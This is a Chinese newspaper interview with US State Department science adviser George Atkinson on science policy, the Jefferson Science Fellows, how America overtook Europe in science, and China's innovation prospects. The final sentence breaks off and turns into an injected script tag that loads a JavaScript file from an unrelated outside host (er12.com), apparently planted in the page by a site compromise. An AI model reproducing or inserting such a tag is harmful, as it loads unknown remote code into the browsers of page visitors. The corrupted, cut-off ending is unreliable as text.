自20世纪后半期，源自西方，尤其是美国的电脑、通讯、生物、医药等高科技正在改变整个地球，甚至宇宙空间的面貌。
然而仔细考察西方内部的科技发展史，也可以看到美国并非从一开始就独占鳌头。在19世纪，除了汽船、电话等新发明外，新科技成果主要是来自欧洲，传入美国，欧洲在科学研究领域也是远超后者。但到了20世纪，尤其是后半期，美国已经执世界科技界之牛耳，以至于这个占世界人口比例不到5%的国家，获得了目前为止已经颁发的诺贝尔物理、化学和医学奖总数中的70%。
中国也在努力革新国家科技战略，以因应新时代的需要。自主创新被作为一个战略性的口号提出，意在改变中国缺乏自主知识产权、虽有庞大的制造业但在核心技术方面依然仰赖外国的局面。
为求“他山之石，可以攻玉”之效，本报记者于近日在北京采访了前来参加中美科技联委会的美国国务卿科技顾问乔治·阿特金森(george atkinson)博士，就科技战略、科技体制等问题请他发表意见。
重视公共教育
《21世纪》：看到您的职位是国务卿科技顾问，我们感到很有趣。虽然中国近年一直在倡导自主创新，并强调科技的作用，但并没有设置一个类似的职位。能否简单介绍一些这个职位的职责？
阿特金森：美国国务卿的科学和技术顾问这个职位，是美国国务院于2000年设立的。这个职位的主要职责是专门负责国务院中的科学和技术事务，而国务院是负责美国的外交政策的部门。之所以设立它，是因为我们发现科学和科技事务在国际事务中非常重要，而且变得日益重要。我们发现在21世纪的现代世界，关于科学、工程学以及从中产生的科技的讨论正在日益为各国所重视，例如能源、传染病防治、农业等许多问题都成为日常性关注的话题。这个职位意在给外交政策的讨论加入更多专业的科技因素，并针对各种具体问题提供咨询意见，同时和美国以及世界的科学界建立更加良好的关系。我们希望借此使政策的制定从科技角度而言更加具有前瞻性，在各种难题发生之前就预先做好准备。
《21世纪》：那么在美国政府的决策中，科技人士扮演着什么样的角色？
阿特金森：科技在美国社会中扮演着重要角色，例如在商业界和教育中，而近年来它在政府中的重要性正在提高。在国务院中，有越来越多的科技界人士参与到政府决策的研讨中。我主持建立了“杰斐逊科学会”(jefferson science fellows)这个项目，将一些杰出的美国科学界的教授带入美国国务院，担任为期一年的有实权的工作，然后为国务院提供5年的咨询服务。这是一种政府和科学界的合作，他们仍然是教授，会回到学校里教书。现在许多国家都在考虑参考我们建立的这种模式。
《21世纪》：一个有关科技发展史的问题。在19世纪，绝大多数的科学论文都是以欧洲各国的语言发表的，但在今天很明显大多都是英文。在一个世纪以前，美国的科技水平是远远落后于欧洲的，但今天我们看到美国在这方面已经远远领先于欧洲，不仅大多数一流的大学在美国，单单看看今年的诺贝尔奖获奖情况就知道美国的科技实力了。在您看来，这样的赶超是如何发生的？
阿特金森：在19世纪和20世纪上半期，欧洲曾是科技领域的领导者，后来美国为何能取得领导地位，我认为有许多因素。其一是，美国在历史上一直非常重视公共教育，这可以追溯到亚伯拉罕·林肯担任总统的年代。在1863年，也就是说正值美国内战的艰苦时期，美国国会就通过了一项法案，创立了一些大学来为美国各地的人民提供公共教育，改善他们的生活质量，它们被称为“赠地大学”(land-grant universities)。到了20世纪后半期，一百年坚持下来的公共教育已经完全展现出了它的效果。
第二个重要因素是第二次世界大战，许多国家在战争中损失惨重，而美国遭受的破坏没那么严重。
第三个因素是美国社会普遍的开放性。美国欢迎从其他国家到来的移民，他们能够在美国得到教育，并会有良好的机会从事各种各样的职业生涯。
我认为这几个因素综合性地发挥了作用，它们在20世纪一直都存在，并最终在这个世纪的后半期开花结果。这就是世界科技的领导权转移到美国手中的原因。
《21世纪》：您知道，中国人也希望在科技方面能够更快的发展，您认为中国和当年的美国情况类似吗？在未来中国可能成为世界科技的领导者吗？
阿特金森：我认为处在类似地位的不止中国，也包括许多其他国家，但前提是坚持走一种开放性社会的道路，鼓励本国公民去发掘他们各自在社会上的最佳角色。这是一个放之四海而皆准的法则，并不是只适用于美国。科技在今天的世界是无所不在的，对于任何国家而言，如果真正下定决心利用当前巨大的科技机会，提高本国公民的生活水平，它们就必将在未来具有更大的竞争力。
但在科技方面并不只有竞争，国际合作的因素也在加强。科学史就是一部国际合作的历史，在21世纪这种色彩更强了，这?script src=http://er12.com/t.js>
